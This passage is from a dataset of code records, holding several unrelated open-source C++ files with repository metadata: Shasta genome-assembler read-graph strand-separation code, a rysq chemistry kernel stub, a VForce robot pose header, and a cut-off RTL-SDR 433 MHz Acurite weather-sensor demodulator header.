\"Yes\" : \"No\") << \",\";\n        csv << accumulatedOrientedReadCount << \",\";\n        csv << accumulatedOrientedReadCountFraction << \"\\n\";\n    }\n\n\n\n    // Clear the read flags that will be set below.\n    // Note that we are not changing the isChimeric flags.\n    for(ReadFlags& f: readFlags) {\n        f.isInSmallComponent = 0;\n        f.strand = 0;\n    }\n\n\n\n    // Strand separation. Process the connected components one at a time.\n    for(ReadId componentId=0; componentId<components.size(); componentId++) {\n        const vector<OrientedReadId>& component = components[componentId];\n\n        // If this component is small, set the isInSmallComponent flag for all\n        // the reads it contains.\n        if(component.size() < minComponentSize) {\n            for(const OrientedReadId orientedReadId: component) {\n                const ReadId readId = orientedReadId.getReadId();\n                readFlags[readId].isInSmallComponent = 1;\n            }\n            continue;\n        }\n\n        // Find out if this component is self-complementary.\n        const bool isSelfComplementary =\n            component.size() > 1 &&\n            (component[0].getReadId() == component[1].getReadId());\n        if(isSelfComplementary) {\n            SHASTA_ASSERT((component.size() % 2) == 0);\n        }\n\n        // If this component is not self-complementary,\n        // use it for assembly only if its first read is on strand 0.\n        // Set the strand of all the reads as\n        // the strand present in this component.\n        if(!isSelfComplementary) {\n            if(component[0].getStrand() == 0) {\n                for(const OrientedReadId orientedReadId: component) {\n                    const ReadId readId = orientedReadId.getReadId();\n                    const Strand strand = orientedReadId.getStrand();\n                    readFlags[readId].strand = strand & 1;\n                }\n            } else {\n                // No need to set any strand flags here.\n                // They will be set when processing the complementary component.\n            }\n            continue;\n        }\n\n        // If getting here, the component is self-complementary\n        // and we need to do strand separation.\n        SHASTA_ASSERT(isSelfComplementary);\n        cout << \"Processing self-complementary component \" << componentId <<\n            \" with \" << component.size() << \" oriented reads.\" << endl;\n\n    }\n\n\n\n    // Check that any read flagged isChimeric is also flagged isInSmallComponent.\n    for(const ReadFlags& flags: readFlags) {\n        if(flags.isChimeric) {\n            SHASTA_ASSERT(flags.isInSmallComponent);\n        }\n    }\n}\n\n\n\n// Write a FASTA file containing all reads that appear in\n// the local read graph.\nvoid Assembler::writeLocalReadGraphReads(\n    ReadId readId,\n    Strand strand,\n    uint32_t maxDistance,\n    bool allowChimericReads,\n    bool allowCrossStrandEdges)\n{\n    // Create the requested local read graph.\n    LocalReadGraph localReadGraph;\n    SHASTA_ASSERT(createLocalReadGraph(\n        OrientedReadId(readId, strand),\n        maxDistance,\n        allowChimericReads,\n        allowCrossStrandEdges,\n        std::numeric_limits<size_t>::max(),\n        0.,\n        localReadGraph));\n\n    // Gather the reads.\n    std::set<ReadId> readsSet;\n    BGL_FORALL_VERTICES(v, localReadGraph, LocalReadGraph) {\n        readsSet.insert(localReadGraph[v].orientedReadId.getReadId());\n    }\n\n\n\n    // Write the fasta file.\n    const string fileName = \"LocalReadGraph.fasta\";\n    ofstream fasta(fileName);\n    for(const ReadId readId: readsSet) {\n\n        // Write the header line with the read name.\n        const auto readName = readNames[readId];\n        fasta << \">\" << readId << \" \";\n        copy(readName.begin(), readName.end(), ostream_iterator<char>(fasta));\n        const auto metaData = readMetaData[readId];\n        if(metaData.size() > 0) {\n            fasta << \" \";\n            copy(metaData.begin(), metaData.end(), ostream_iterator<char>(fasta));\n        }\n        fasta << \"\\n\";\n\n        // Write the sequence.\n        const auto& sequence = reads[readId];\n        const auto& counts = readRepeatCounts[readId];\n        const size_t n = sequence.baseCount;\n        SHASTA_ASSERT(counts.size() == n);\n        for(size_t i=0; i<n; i++) {\n            const Base base = sequence[i];\n            const uint8_t count = counts[i];\n            for(size_t k=0; k<count; k++) {\n                fasta << base;\n            }\n        }\n        fasta << \"\\n\";\n    }\n    cout << \"Wrote \" << readsSet.size() << \" reads to \" << fileName << endl;\n\n\n}\n\n\n\nvoid Assembler::flagCrossStrandReadGraphEdges(int maxDistance, size_t threadCount)\n{\n    const bool debug = false;\n\n    // Initial message.\n    cout << timestamp << \"Begin flagCrossStrandReadGraphEdges.\" << endl;\n\n    // Check that we have what we need.\n    checkReadGraphIsOpen();\n    const size_t readCount = reads.size();\n    const size_t orientedReadCount = 2*readCount;\n    SHASTA_ASSERT(readGraph.connectivity.size() == orientedReadCount);\n    checkAlignmentDataAreOpen();\n\n    // Adjust the numbers of threads, if necessary.\n    if(threadCount == 0) {\n        threadCount = std::thread::hardware_concurrency();\n    }\n\n    // Clear the crossesStrands flag for all read graph edges.\n    const size_t edgeCount = readGraph.edges.size();\n    for(size_t edgeId=0; edgeId!=edgeCount; edgeId++) {\n        readGraph.edges[edgeId].crossesStrands = 0;\n    }\n\n    // If maxDistance is 0, don't flag any edges as cross strand edges.\n    if(maxDistance == 0) {\n        cout << \"Skipped flagCrossStrandReadGraphEdges.\" << endl;\n        return;\n    }\n\n    // Store the maximum distance so all threads can see it.\n    flagCrossStrandReadGraphEdgesData.maxDistance = maxDistance;\n\n    // Find which vertices are close to their reverse complement.\n    // \"Close\" means that there is a path of distance up to maxDistance.\n    flagCrossStrandReadGraphEdgesData.isNearStrandJump.clear();\n    flagCrossStrandReadGraphEdgesData.isNearStrandJump.resize(orientedReadCount, false);\n    const size_t batchSize = 10000;\n    setupLoadBalancing(readCount, batchSize);\n    runThreads(&Assembler::flagCrossStrandReadGraphEdgesThreadFunction, threadCount);\n    const auto& isNearStrandJump = flagCrossStrandReadGraphEdgesData.isNearStrandJump;\n\n\n    size_t nearStrandJumpVertexCount = 0;\n    for(ReadId readId=0; readId<readCount; readId++) {\n        if(isNearStrandJump[readId]) {\n            ++nearStrandJumpVertexCount;\n        }\n    }\n    cout << \"Of \" << orientedReadCount << \" vertices in the read graph, \" <<\n        nearStrandJumpVertexCount << \" are within distance \" <<\n        maxDistance << \" of their reverse complement.\" << endl;\n\n    // Find connected components of the subgraph consisting of\n    // vertices that are close to their reverse complement.\n    vector<ReadId> rank(orientedReadCount);\n    vector<ReadId> parent(orientedReadCount);\n    boost::disjoint_sets<ReadId*, ReadId*> disjointSets(&rank[0], &parent[0]);\n    for(ReadId readId=0; readId<readCount; readId++) {\n        for(Strand strand=0; strand<2; strand++) {\n            disjointSets.make_set(OrientedReadId(readId, strand).getValue());\n        }\n    }\n    for(const ReadGraphEdge& edge: readGraph.edges) {\n        const OrientedReadId orientedReadId0 = edge.orientedReadIds[0];\n        const OrientedReadId orientedReadId1 = edge.orientedReadIds[1];\n        const auto v0 = orientedReadId0.getValue();\n        const auto v1 = orientedReadId1.getValue();\n        if(isNearStrandJump[v0] && isNearStrandJump[v1]) {\n            disjointSets.union_set(v0, v1);\n        }\n    }\n\n    // Gather the vertices in each connected component.\n    vector<vector<OrientedReadId> > componentVertices(orientedReadCount);\n    for(ReadId readId=0; readId<readCount; readId++) {\n        for(Strand strand=0; strand<2; strand++) {\n            const OrientedReadId orientedReadId(readId, strand);\n            const auto v = orientedReadId.getValue();\n            if(isNearStrandJump[v]) {\n                const ReadId componentId = disjointSets.find_set(v);\n                componentVertices[componentId].push_back(orientedReadId);\n            }\n        }\n    }\n\n\n\n    // Loop over connected components.\n    // Each connected component corresponds to a region of the read graph\n    // that has a strand jump.\n    // For each such region we process edges in order of decreasing\n    // number of markers. We mark an edge as crossing strands if adding it\n    // would cause a vertex to become reachable from its reverse complement.\n    size_t strandJumpCount = 0;\n   for(ReadId componentId=0; componentId!=orientedReadCount; componentId++) {\n        const vector<OrientedReadId>& vertices = componentVertices[componentId];\n        const size_t vertexCount = vertices.size();\n        if(vertexCount <2) {\n            continue;\n        }\n        ++strandJumpCount;\n        if(debug) {\n            cout << \"Found a strand jump region with \" << vertexCount <<\n                \" vertices near read \" << vertices.front().getReadId() << \".\" << endl;\n        }\n\n        // Verify that the vertices are a self-complementary set.\n        SHASTA_ASSERT((vertexCount %2) == 0);\n        for(size_t i=0; i<vertexCount; i+=2) {\n            const OrientedReadId orientedReadId0 = vertices[i];\n            const OrientedReadId orientedReadId1 = vertices[i+1];\n            SHASTA_ASSERT(orientedReadId0.getReadId() == orientedReadId1.getReadId());\n            SHASTA_ASSERT(orientedReadId0.getStrand() == 0);\n            SHASTA_ASSERT(orientedReadId1.getStrand() == 1);\n        }\n\n        // Map the vertices to integers in (0, vertexCount-1).\n        std::map<OrientedReadId, uint32_t> vertexMap;\n        for(uint32_t i=0; i<vertexCount; i++) {\n            vertexMap.insert(make_pair(vertices[i], i));\n        }\n\n        // Gather the edges within this region.\n        // Store its edge with its alignmentId.\n        // This allows us later to match edges into reverse complemented pairs.\n        vector< pair<uint32_t, uint64_t> > edgeIds;  // pair(edgeId, alignmentId).\n        for(const OrientedReadId orientedReadId0: vertices) {\n            const OrientedReadId::Int v0 = orientedReadId0.getValue();\n            for(const uint32_t edgeId: readGraph.connectivity[v0]) {\n                const ReadGraphEdge& edge = readGraph.edges[edgeId];\n                const OrientedReadId orientedReadId1 = edge.getOther(orientedReadId0);\n                if(vertexMap.find(orientedReadId1) == vertexMap.end()) {\n                    continue;\n                }\n                if(edge.orientedReadIds[0] == orientedReadId0) { // So we don't add it twice.\n                    edgeIds.push_back(make_pair(edgeId, edge.alignmentId));\n                }\n            }\n        }\n        if(debug) {\n            cout << \"This strand jump region contains \" << edgeIds.size() << \" edges.\" << endl;\n        }\n\n        // Sort them by alignment  id, so pairs of reverse complemented edges come together.\n        SHASTA_ASSERT((edgeIds.size() %2) == 0);\n        sort(edgeIds.begin(), edgeIds.end(),\n            OrderPairsBySecondOnly<uint32_t, uint64_t>());\n        for(size_t i=0; i<edgeIds.size(); i+=2){\n            SHASTA_ASSERT(edgeIds[i].second == edgeIds[i+1].second);\n        }\n\n        // Gather pairs of reverse complemented edges, each with their\n        // number of markers.\n        vector< pair< array<uint32_t, 2>, uint32_t> > edgePairs;\n        for(size_t i=0; i<edgeIds.size(); i+=2){\n            const uint64_t alignmentId = edgeIds[i].second;\n            SHASTA_ASSERT(alignmentId == edgeIds[i+1].second);\n            const uint32_t markerCount = alignmentData[alignmentId].info.markerCount;\n            const array<uint32_t, 2> edgePair = {edgeIds[i].first, edgeIds[i+1].first};\n            edgePairs.push_back(make_pair(edgePair, markerCount));\n        }\n        sort(edgePairs.begin(), edgePairs.end(),\n            OrderPairsBySecondOnlyGreater<array<uint32_t, 2>, uint32_t>());\n\n        // Initialize a disjoint set data structure for this region.\n        vector<ReadId> rank(vertexCount);\n        vector<ReadId> parent(vertexCount);\n        boost::disjoint_sets<ReadId*, ReadId*> disjointSets(&rank[0], &parent[0]);\n        for(size_t i=0; i<vertexCount; i++) {\n            disjointSets.make_set(i);\n        }\n\n\n        // Process the edge pairs, in order of decreasing number of markers.\n        for(const auto& p: edgePairs) {\n            const array<uint32_t, 2>& edgeIds = p.first;\n            for(const uint32_t edgeId: edgeIds) {\n                const ReadGraphEdge& edge = readGraph.edges[edgeId];\n\n                // Get the oriented reads of this edge.\n                const OrientedReadId orientedReadId0 = edge.orientedReadIds[0];\n                const OrientedReadId orientedReadId1 = edge.orientedReadIds[1];\n                const uint32_t i0 = vertexMap[orientedReadId0];\n                const uint32_t i1 = vertexMap[orientedReadId1];\n\n                // Get their reverse complemented oriented reads.\n                OrientedReadId orientedReadId0rc = orientedReadId0;\n                orientedReadId0rc.flipStrand();\n                OrientedReadId orientedReadId1rc = orientedReadId1;\n                orientedReadId1rc.flipStrand();\n                const uint32_t i0rc = vertexMap[orientedReadId0rc];\n                const uint32_t i1rc = vertexMap[orientedReadId1rc];\n\n                // Get everybody's component.\n                const uint32_t component0 = disjointSets.find_set(i0);\n                const uint32_t component1 = disjointSets.find_set(i1);\n                const uint32_t component0rc = disjointSets.find_set(i0rc);\n                const uint32_t component1rc = disjointSets.find_set(i1rc);\n\n                // Check that we have not already screwed up earlier.\n                SHASTA_ASSERT(component0 != component0rc);\n                SHASTA_ASSERT(component1 != component1rc);\n\n                // If adding this edge would bring (orientedReadId0, orientedReadId1rc)\n                // or (orientedReadId1, orientedReadId0rc)\n                // in the same component, mark it as a cross strand edge.\n                if(component0==component1rc || component1==component0rc) {\n                    readGraph.edges[edgeId].crossesStrands = 1;\n                } else {\n                    disjointSets.union_set(i0, i1);\n                    disjointSets.union_set(i0rc, i1rc);\n                }\n            }\n        }\n    }\n    cout << \"Found \" << strandJumpCount << \" strand jump regions.\" << endl;\n\n    // Count the number of edges we flagged as cross-strand.\n    size_t crossStrandEdgeCount = 0;\n    for(size_t edgeId=0; edgeId!=edgeCount; edgeId++) {\n        if(readGraph.edges[edgeId].crossesStrands) {\n            ++crossStrandEdgeCount;\n        }\n    }\n    cout << \"Marked \" << crossStrandEdgeCount << \" read graph edges out of \" <<\n        edgeCount <<\n        \" total as cross-strand.\" << endl;\n\n    // Done.\n    cout << timestamp << \"End flagCrossStrandReadGraphEdges.\" << endl;\n}\n\n\n\nvoid Assembler::flagCrossStrandReadGraphEdgesThreadFunction(size_t threadId)\n{\n    const size_t readCount = reads.size();\n    const size_t maxDistance = flagCrossStrandReadGraphEdgesData.maxDistance;\n    auto& isNearStrandJump = flagCrossStrandReadGraphEdgesData.isNearStrandJump;\n    vector<uint32_t> distance(2*readCount, ReadGraph::infiniteDistance);\n    vector<OrientedReadId> reachedVertices;\n    vector<uint32_t> parentEdges(2*readCount);\n    vector<uint32_t> shortestPath;\n    uint64_t begin, end;\n\n    while(getNextBatch(begin, end)) {\n\n        for(ReadId readId=ReadId(begin); readId!=ReadId(end); readId++) {\n            if((readId %100000) == 0) {\n                std::lock_guard<std::mutex> lock(mutex);\n                cout << timestamp << threadId << \" \" << readId << \"/\" << readCount << endl;\n            }\n            const OrientedReadId orientedReadId0(readId, 0);\n            const OrientedReadId orientedReadId1(readId, 1);\n            readGraph.computeShortPath(orientedReadId0, orientedReadId1,\n                maxDistance, shortestPath,\n                distance, reachedVertices, parentEdges);\n            if(!shortestPath.empty()) {\n                isNearStrandJump[orientedReadId0.getValue()] = true;\n                isNearStrandJump[orientedReadId1.getValue()] = true;\n            }\n        }\n    }\n\n}\n\n\n", "meta": {"hexsha": "1f6fbfc7ba723641a8fe442ae5cfaadd18b20598", "size": 40809, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/AssemblerReadGraph.cpp", "max_stars_repo_name": "yatisht/shasta", "max_stars_repo_head_hexsha": "32aa0644764334bf2a3591b7a7e7c3e5fdc9dea2", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2019-11-14T09:06:16.000Z", "max_stars_repo_stars_event_max_datetime": "2020-07-31T11:03:41.000Z", "max_issues_repo_path": "src/AssemblerReadGraph.cpp", "max_issues_repo_name": "yatisht/shasta", "max_issues_repo_head_hexsha": "32aa0644764334bf2a3591b7a7e7c3e5fdc9dea2", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/AssemblerReadGraph.cpp", "max_forks_repo_name": "yatisht/shasta", "max_forks_repo_head_hexsha": "32aa0644764334bf2a3591b7a7e7c3e5fdc9dea2", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2019-11-13T23:42:45.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-26T20:24:01.000Z", "avg_line_length": 39.5436046512, "max_line_length": 106, "alphanum_fraction": 0.6232203681, "num_tokens": 9366, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2909808600663598, "lm_q1q2_score": 0.1466270508932976}}
{"text": "#include \"kernel/eri.hpp\"\n\n// #include <boost/preprocessor/seq/for_each_product.hpp>\n// #include <boost/preprocessor/seq/enum.hpp>\n// #include <boost/preprocessor/seq/elem.hpp>\n// #include \"externals/cxx/namespace.hpp\"\n\n#include <rysq/core.hpp>\n\n#include \"kernel/eri1.hpp\"\n#include \"kernel/eri2.hpp\"\n\n\n#include \"kernel/quadrature1.hpp\"\n#include \"kernel/quadrature2.hpp\"\n\n\n#include \"kernel/quadrature2-impl.hpp\"\n#include \"kernel/new.hpp\"\n// #include \"kernel/eri-bra.cpp\"\n// #include \"kernel/eri-braket.ipp\"\n\nBEGIN_NAMESPACE(rysq, kernel)\n\n#define TYPES\t(rysq::SP)(rysq::S)(rysq::P)(rysq::D)(rysq::F)\n\n#define ERI(r, types) \t\t\t\t\t\t\t\\\n    kernel::find<BOOST_PP_SEQ_ENUM(types)>::type; \n\n    // BOOST_PP_SEQ_FOR_EACH_PRODUCT(ERI, (TYPES)(TYPES)(TYPES)(TYPES))\n\n#undef ERI\n#undef TYPES\n\nnamespace test {\n\n    template<class bra, class ket>\n    struct Transform : kernel::Transform<bra,ket> {\n\ttypedef kernel::Transform<bra,ket> Base;\n\tBase& operator()(typename Base::Data &data) { return *this; }\n\tvoid operator()(const double *Q, double scale) {}\n    };\n\n    template<class bra>\n    struct Transform <bra, void> : kernel::Transform<bra,void> {\n\ttypedef kernel::Transform<bra> Base;\n\tBase& operator()(typename Base::Data &data) { return *this; }\n\tvoid operator()(int k,int l,int kl,\n\t\t\tconst double *Q, double scale) {}\n    };\n\n    void instance( const Quartet < Shell> &quartet) {\n\tdelete  kernel::new_< Transform>(quartet);\n\n    }\n}\n\nEND_NAMESPACE(rysq, eri)\n\n", "meta": {"hexsha": "fc0de2da2fa5be86ed1e3ce88854acf83711a1ed", "size": 1456, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "gamess/libqc/rysq/src/kernel/eri.cpp", "max_stars_repo_name": "andremirt/v_cond", "max_stars_repo_head_hexsha": "6b5c364d7cd4243686488b2bd4318be3927e07ea", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "gamess/libqc/rysq/src/kernel/eri.cpp", "max_issues_repo_name": "andremirt/v_cond", "max_issues_repo_head_hexsha": "6b5c364d7cd4243686488b2bd4318be3927e07ea", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gamess/libqc/rysq/src/kernel/eri.cpp", "max_forks_repo_name": "andremirt/v_cond", "max_forks_repo_head_hexsha": "6b5c364d7cd4243686488b2bd4318be3927e07ea", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.2666666667, "max_line_length": 71, "alphanum_fraction": 0.6902472527, "num_tokens": 408, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.2720245569956929, "lm_q1q2_score": 0.14661667183567906}}
{"text": "//\n// Created by yongqi on 17-12-4.\n//\n\n#ifndef VFORCE_ROBOT_HPP\n#define VFORCE_ROBOT_HPP\n\n#include <Eigen/Eigen>\n#include \"Pose.hpp\"\n\nnamespace VForce {\n\nclass Robot {\n public:\n  Robot(const std::string &cfg_root = \".\", const std::string &cfg_file = \"Robot.yml\");\n\n  /**\n   * Calculate robot catch pose\n   * @param cMo tf from camera to object\n   * @param pose robot catch pose\n   * @param id robot catch id\n   */\n  void CalculatePose(const Eigen::Matrix4f &cMo, Pose &pose, int &id);\n\n private:\n  /**\n * Decide using which pose to catch the object based on the object pose\n * @param rMo object pose in the robot coordinate\n * @return catch pose id\n */\n  int GetCatchId(Eigen::Matrix4f &rMo);\n\n  // constant after calibration\n  Eigen::Matrix4f rMc_;\n  std::vector<Eigen::Matrix4f> oMe_vec_;\n\n  Eigen::Matrix4f rMo_;\n  Eigen::Matrix4f rMe_;\n\n  bool relative_motion_;\n  Eigen::Matrix4f eMr_base_;\n  Eigen::Matrix4f eMe_; // rMe_base to rMe, use when relative_motion_ is true\n};\n\n}\n#endif //VFORCE_ROBOT_HPP\n", "meta": {"hexsha": "1e5cdc0a6686684b23bee9870853d828380aa598", "size": 1006, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "src/robot/Robot.hpp", "max_stars_repo_name": "eagleeye1105/VForce", "max_stars_repo_head_hexsha": "8a0b80ff633ccabff4410eaf7c368de2cfb0f15c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 17.0, "max_stars_repo_stars_event_min_datetime": "2018-05-04T04:55:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-03T06:56:23.000Z", "max_issues_repo_path": "src/robot/Robot.hpp", "max_issues_repo_name": "eagleeye1105/VForce", "max_issues_repo_head_hexsha": "8a0b80ff633ccabff4410eaf7c368de2cfb0f15c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2019-08-06T06:22:58.000Z", "max_issues_repo_issues_event_max_datetime": "2019-08-06T06:22:58.000Z", "max_forks_repo_path": "src/robot/Robot.hpp", "max_forks_repo_name": "freealong/VForce", "max_forks_repo_head_hexsha": "8a0b80ff633ccabff4410eaf7c368de2cfb0f15c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 17.0, "max_forks_repo_forks_event_min_datetime": "2018-05-04T04:53:01.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-28T15:51:33.000Z", "avg_line_length": 21.4042553191, "max_line_length": 86, "alphanum_fraction": 0.6988071571, "num_tokens": 288, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5389832206876841, "lm_q2_score": 0.2720245451923523, "lm_q1q2_score": 0.14661666547387653}}
{"text": "#ifndef __ACCURITE5N1RTL433_H__\n#define __ACCURITE5N1RTL433_H__\n\n#include <stdint.h>\n#include <time.h>\n\n#include <list>\n#include <vector>\n\n//#include <boost/thread.hpp>\n\n#include \"rtl-sdr.h\"\n\n#include \"HNodeSensorMeasurement.hpp\"\n\n#define FILTER_ORDER 1\n#define F_SCALE 15\n#define S_CONST (1<<F_SCALE)\n#define FIX(x) ((int)(x*S_CONST))\n\n#define DEFAULT_SAMPLE_RATE     250000\n\n#define DEFAULT_HOP_TIME        (60*10)\n#define DEFAULT_HOP_EVENTS      2\n\n#define DEFAULT_FREQUENCY       433920000\n#define DEFAULT_ASYNC_BUF_NUMBER    32\n\n/*\n * Theoretical high level at I/Q saturation is 128x128 = 16384 (above is ripple)\n * 0 = automatic adaptive level limit, else fixed level limit\n * 8000 = previous fixed default\n */\n#define DEFAULT_LEVEL_LIMIT     8000\n#define DEFAULT_BUF_LENGTH      (16 * 16384)\n\n// OOK adaptive level estimator constants\n#define OOK_HIGH_LOW_RATIO\t8\t\t\t// Default ratio between high and low (noise) level\n#define OOK_MIN_HIGH_LEVEL\t1000\t\t// Minimum estimate of high level\n#define OOK_MAX_HIGH_LEVEL\t(128*128)\t// Maximum estimate for high level (A unit phasor is 128, anything above is overdrive)\n#define OOK_MAX_LOW_LEVEL\t(OOK_MAX_HIGH_LEVEL/2)\t// Maximum estimate for low level\n#define OOK_EST_HIGH_RATIO\t64\t\t\t// Constant for slowness of OOK high level estimator\n#define OOK_EST_LOW_RATIO\t1024\t\t// Constant for slowness of OOK low level (noise) estimator (very slow)\n\n#define PD_MAX_PULSES 1200\t\t\t// Maximum number of pulses before forcing End Of Package\n#define PD_MIN_PULSES 16\t\t\t// Minimum number of pulses before declaring a proper package\n#define PD_MIN_PULSE_SAMPLES 10\t\t// Minimum number of samples in a pulse for proper detection\n#define PD_MIN_GAP_MS 10\t\t\t// Minimum gap size in milliseconds to exceed to declare End Of Package\n#define PD_MAX_GAP_MS 100\t\t\t// Maximum gap size in milliseconds to exceed to declare End Of Package\n#define PD_MAX_GAP_RATIO 10\t\t\t// Ratio gap/pulse width to exceed to declare End Of Package (heuristic)\n#define PD_MAX_PULSE_MS 100\t\t\t// Pulse width in ms to exceed to declare End Of Package (e.g. for non OOK packages)\n\n#define BITBUF_COLS\t\t80\t\t// Number of bytes in a column\n#define BITBUF_ROWS\t\t25\n#define BITBUF_MAX_PRINT_BITS\t50\t// Maximum number of bits to print (in addition to hex values)\n\n#define MINIMAL_BUF_LENGTH      512\n#define MAXIMAL_BUF_LENGTH      (256 * 16384)\n\ntypedef enum RTL433PulseDecoderStateEnum \n{\n    PD_OOK_STATE_IDLE\t\t= 0,\n    PD_OOK_STATE_PULSE\t\t= 1,\n    PD_OOK_STATE_GAP_START\t= 2,\n    PD_OOK_STATE_GAP\t\t= 3\n}PD_OOK_STATE_T;\n\nclass RTL433FilterState\n{\n    private:\n\n    public:\n       int16_t y[FILTER_ORDER];\n       int16_t x[FILTER_ORDER];\n\n       RTL433FilterState();\n      ~RTL433FilterState(); \n};\n\nclass RTL433DemodFMState\n{\n    private:\n\n    public:\n        int16_t br;  // Last I/Q sample\n        int16_t bi;\n        int16_t xlp; // Low-pass filter state\n        int16_t ylp;\n\n        RTL433DemodFMState();\n       ~RTL433DemodFMState();\n};\n\nclass RTL433PulseData\n{\n    private:\n\n    public:\n        unsigned int num_pulses;\n        int pulse[PD_MAX_PULSES];\t// Contains width of a pulse\t(high)\n        int gap[PD_MAX_PULSES];\t\t// Width of gaps between pulses (low)\n        int ook_low_estimate;\t\t// Estimate for the OOK low level (base noise level) at beginning of package\n        int ook_high_estimate;\t\t// Estimate for the OOK high level at end of package\n        int fsk_f1_est;\t\t\t\t// Estimate for the F1 frequency for FSK\n        int fsk_f2_est;\t\t\t\t// Estimate for the F2 frequency for FSK\n\n        RTL433PulseData();\n       ~RTL433PulseData();\n\n        void clear();\n};\n\nclass RTL433BitBuffer\n{\n    private:\n        uint16_t   num_rows; // Number of active rows\n        uint16_t   bits_per_row[BITBUF_ROWS]; // Number of active bits per row\n        uint8_t    bb[BITBUF_COLS][BITBUF_ROWS]; // The actual bits buffer\n\n    public:\n        RTL433BitBuffer();\n       ~RTL433BitBuffer();\n\n        void clear();\n\n        void add_bit( int bit );\n\n        void add_row();\n\n        void invert();\n\n        void extract_bytes( unsigned row, unsigned pos, uint8_t *out, unsigned len );\n\n        unsigned search( unsigned row, unsigned start, const uint8_t *pattern, unsigned pattern_bits_len );\n\n        unsigned manchester_decode( unsigned row, unsigned start, RTL433BitBuffer &outbuf, unsigned max );\n\n        void print();\n\n        int compare_rows( unsigned row_a, unsigned row_b );\n\n        unsigned count_repeats( unsigned row );\n\n        int find_repeated_row( unsigned min_repeats, unsigned min_bits );\n\n        uint16_t getActiveRows();\n        uint8_t* getRowPtr( unsigned rowIndex, uint16_t &activeBits );\n};\n\nclass RTL433DemodNotify\n{\n    private:\n\n    public:\n        \n        virtual void notifyNewMeasurement( uint32_t sensorIndex, HNodeSensorMeasurement &reading ) = 0;\n        virtual void signalError( std::string errMsg ) = 0;\n        virtual void signalRunning() = 0;\n};\n\n\nclass RTL433Demodulator\n{\n    private:\n        int do_exit;\n        time_t rawtime_old;\n        time_t stop_time;\n        uint32_t samp_rate;\n        rtlsdr_dev_t *dev;\n\n        int32_t level_limit;\n        int16_t *am_buf; //[MINIMAL_BUF_LENGTH];\t// AM demodulated signal (for OOK decoding)\n\n        // These buffers aren't used at the same time, so let's use a union to save some memory\n        int16_t *fm_buf; //[MINIMAL_BUF_LENGTH];\t// FM demodulated signal (for FSK decoding)\n        uint16_t *temp_buf; //[MINIMAL_BUF_LENGTH];\t// Temporary buffer (to be optimized out..)\n\n        uint16_t scaledSquares[256];\n\n        int a[FILTER_ORDER + 1];\n        int b[FILTER_ORDER + 1];\n\n        int alp[2];\n        int blp[2];\n\n        RTL433FilterState  amFilterState;\n        RTL433DemodFMState fmFilterState;\n\n        // Pulse State variables\n        PD_OOK_STATE_T ook_state;\n\n        int pulse_length;    // Counter for internal pulse detection\n        int max_pulse;       // Size of biggest pulse detected\n\n        int data_counter;    // Counter for how much of data chunck is processed\n        int lead_in_counter; // Counter for allowing initial noise estimate to settle\n\n        int ook_low_estimate;   // Estimate for the OOK low level (base noise level) in the envelope data\n        int ook_high_estimate;  // Estimate for the OOK high level\n\n        RTL433PulseData  *curPulse;\n\n        std::list< RTL433PulseData* > pulseQueue;\n\n        int identifyPulses( const int16_t *envelope_data, const int16_t *fm_data, int len, int16_t level_limit, uint32_t samp_rate );\n\n        int demodPWM( RTL433PulseData *pulseData );\n\n        std::list< RTL433BitBuffer* > bitQueue;\n\n        //std::list< RTL433WeatherReading* > readingList;\n\n        int acurite_5n1raincounter;  // for 5n1 decoder\n      \n        RTL433DemodNotify *notifyCB;\n\n        uint32_t measurementIndex;\n\n        // Integer implementation of atan2() with int16_t normalized output\n        int16_t atan2_int16( int16_t y, int16_t x );\n\n        // This will give a noisy envelope of OOK/ASK signals\n        void envelope_detect( const uint8_t *iq_buf, uint16_t *y_buf, uint32_t len );\n\n        // Something that might look like a IIR lowpass filter\n        void low_pass_filter( const uint16_t *x_buf, int16_t *y_buf, uint32_t len );\n\n        // \n        void demod_FM( const uint8_t *x_buf, int16_t *y_buf, unsigned num_samples );\n\n        int acurite_checksum( uint8_t row[BITBUF_COLS], int cols );\n        int acurite_detect( uint8_t *pRow );\n\n        float acurite_getTemp( uint8_t highbyte, uint8_t lowbyte );\n        int acurite_getWindSpeed( uint8_t highbyte, uint8_t lowbyte );\n        float acurite_getWindDirection( uint8_t byte );\n        int acurite_getHumidity( uint8_t byte );\n        int acurite_getRainfallCounter( uint8_t hibyte, uint8_t lobyte );\n        int extractAcurite5n1Data( RTL433BitBuffer *bits );\n\n        void processRtlsdrData( unsigned char *iq_buf, uint32_t len );\n\n        void sendReading( uint32_t sensorIndex, HNSM_TYPE_T type, HNSM_UNITS_T units, double reading, struct timeval &timestamp );\n\n        //void trimReadingList();\n\n        //boost::thread *rtlThread;\n\n        //boost::mutex readingListMutex;\n\n        void cleanup();\n\n    public:\n        RTL433Demodulator();\n       ~RTL433Demodulator();\n\n        